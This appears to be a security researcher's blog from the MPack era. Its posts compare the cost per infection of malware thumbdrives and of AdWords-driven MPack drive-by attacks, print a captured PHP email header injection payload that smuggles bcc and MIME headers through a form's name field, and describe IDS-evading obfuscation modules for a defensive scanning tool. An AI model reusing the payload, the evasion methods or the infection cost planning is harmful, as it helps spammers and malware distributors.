Mulling Security

Consider two different means to deliver malicious code that cost money. First shipping thumbdrives loaded with malware and autorun.inf files. Second buying Google Adwords and pointing the links to a webserver you have loaded with a legally purchased copy of MPack.

Both methods costs a lot of money. Which has the best ROI? Assuming that our goal is to infect 1,000 US users we can easily calculate the costs. It's important to note that each country will have different average infection rates which significantly changes the math.

Let's start with Fedex. We can buy 256MB thumbdrives for about $2.50/each in quantities of 1,000. The shipping cost for each drive (assuming targets all within 800 miles and non-rural) is about $5.22 each. We also need to assume that about 50% of our targets will actually insert the drive and become infected.

So our Fedex cost is ($2.50 + $5.22) * (1000 users / .5 infection rate) = $15.44/infection. Not too bad considering the amount of money that could be made from each machine.

Now, let's run the same math with MPack and Google. Let's buy a Google adword likely to infect lots of unwary US citizens with money in the bank and a propensity for clicking on odd links.

Looks like "magic vacation" is available for about $.05 per click. That should work nicely for this example. To calculate our costs we'll need some more information about MPack. First we can buy a "legal" and supported version for about $1,000. From previous MPack attacks I know that the US infection rate is about 3.3%.

Our MPack costs work out to $1,000 + (1,000 users / .033 infection rate * $.05/click) = $2.52 per infection. (Ignore the fact that this requires 30,000 hits to our fake Adwords page :)) Not too shabby.

Labels: mpack malware

This posting has been in my drafts for over a year. It's really interesting to see how PHP mail injection is done in the wild. Hopefully Michael doesn't mind me posting details - if he does it's not a problem since I'm sure he doesn't read these posts. :)

---------------------------------------------------------------------------

Here is a php email injection attempt captured "in the wild". This attack was against the same script that was exploited in PHP Email Injection Step by Step.

The attack wasn't successful for 2 reasons. First mod_security was used to block certain tell-tale signs of php email injection. The second reason is that the script limits the "name" field to a reasonable number which this attempt exceeded.

text=stood8261%40spree.mnin.org&
email=stood8261%40spree.mnin.org&
Submit=stood8261%40spree.mnin.org&
name=him%0D%0AContent-Type%3A+multipart%2Fmixed%3B+bound

ary%3D3cde64db239a99d3c03a2b3399a85a90%0AMIME-Version%3A+1.0%0ASubject%3A+to+himsilf%2C+a+habit+iv+dog%0Abcc%3A+charleses3229%40aol.com%0A%0AThis+is+a+mult
i-part+message+in+MIME+format.%0A%0A--3cde64db239a99d3c03a2b3399a85a90%0AContent-Type%3A+text%2Fplain%3B+charset%3D%22us-ascii%22%0AMIME-Version%3A+1.0%0AC
ontent-Transfer-Encoding%3A+7bit%0A%0Amay+remember+at+tto+s+visit%0A--3cde64db239a99d3c03a2b3399a85a90--%0A%0D%0A.%0D%0A

Labels: php mail injection

I love my MacBook Pro. I really, really, really want it to be my primary research machine. Right now it sits between my Inspiron 9400 running Windows XP and my 5 year old clone running Fedora Core 6.

After 3 months of trying to use if for my research machine I'm resigned back to Windows and Linux. Mac OS X just doesn't have the right stuff for malware research.

Here's why I think it's not ready yet:

1) Networking - Lack of strong networking support in Virtualization products. I've tested both Parallels (2 and 3) and Vmware Fusion. Both support multiple virtual NICs and allow you to assign IP addresses. Both fail to offer the kernel level networking support of Linux tied into the virtual interfaces. For example on Linux I can use iptables on the host to restrict traffic on virtual interfaces. Not so with ipfw on OS X and Parallels. Also, where are the virtual networking config scripts for OS X?

2) Disk Image Support - Parallels offers an explorer tool that can view any type of image through a GUI. It works wonderful. It doesn't let me mount the disk in a way that allows systematic processing of the disk image. Vmware makes a nice virtual disk mount application for Linux and Windows but not OS X.

3) Headless support - Vmware offers headless support on both Windows and Linux which saves tons of time with 4 research machines. No need to sit in front of the machine running the VM to do simple GUI interactions. No such option for OS X.

4) Video capture - Vmware supports full screen video capture of guests on Linux and Windows but not OS X. Parallels does not offer video capture either. Sometimes a screenshot just isn't enough.

"Beyond Vulnerability Scanning - Extrusion and Exploitability Scanning" is now online at http://www.eescan.net/downloads/DC15.pdf.

Many thanks to all who attended. Please feel free to send any feedback to:

Matt Richard - Extrusion and Exploitability Scanning
mrichard@verisign.com
matt.richard@gmail.com

or

Fred Doyle - Risk Metrics
fdoyle@verisign.com

Labels: eescan

Update 8/7/2007 - Please see www.eescan.net for additional details.

I've just finished coding up some new HTML obfuscation modules for eescan. The exploitability tests in eescan will use these obfuscators to probe for

Here are some of the obfuscators that work right now:

• gzip
• deflate
• chunked
• MPack XOR javascript encoder
• MPack cryptor 4-pass javascript encoder
  
• AJAX
• SSL
• HTTP over port 443
• SSL over port 80
  
• arbitrary combinations like AJAX->Mpack->gzip->chunked->SSL->port 80
  

My favorite so far is AJAX which breaks up the target html into a random number of arbitrary chunks, downloads each using a synchronous request, reassembles them and then eval()'s the code.

Initial testing of the Ajax modules is yielding great results against network based IDS/IPS, so-so results against proxies and good results against desktop AV/IPS suites.

Labels: eescan

Update - For more information see http://www.eescan.net

All of the upgrades went smoothly and now I've got the colo ready for some eescan action. I was able to add some dedicated IP addresses to my machine and some precious disk space.

You might be asking what this whole eescan thing is all about. Well I guess you'll just have to come to the talk at DEFCON to find out. Here's the abstract:

With this presentation we will demonstrate a new tool called eescan that automates extrusion and exploitability scanning using a client/server approach. Eescan will be released under the GPL and utilizes python to create an extensible framework for testing extrusion and exploit defenses.

All network security systems have gaps. Layered security tries to cover the gaps with overlapping protections like firewalls, intrusion prevention, proxies and other mechanisms. How do you really know where the gaps are before the weeds grow through? Vulnerability assessment tools scan for vulnerable systems from an attackers perspective. This technique has value but fails to represent the risk posed by client application usage and attacks. They also fail to assess extrusions - the traffic content allowed to leave a network.

Extrusion and exploitability scanning attempts to find these gaps using an automated scanning framework. The scanning techniques simulate user and attacker behavior from the client perspective to holistically measure the amount of risk in a given security system.

During the day today I'll be taking down mullingsecurity.com and for some upgrades to prepare for eescan. The upgrade will consist of an upgrade of the OS, bigger disk and some additional IP addresses.

The extra IP addresses are needed so that I have clean IP's available for eescan to use for egress and extrusion scanning. The extra disk space won't hurt either.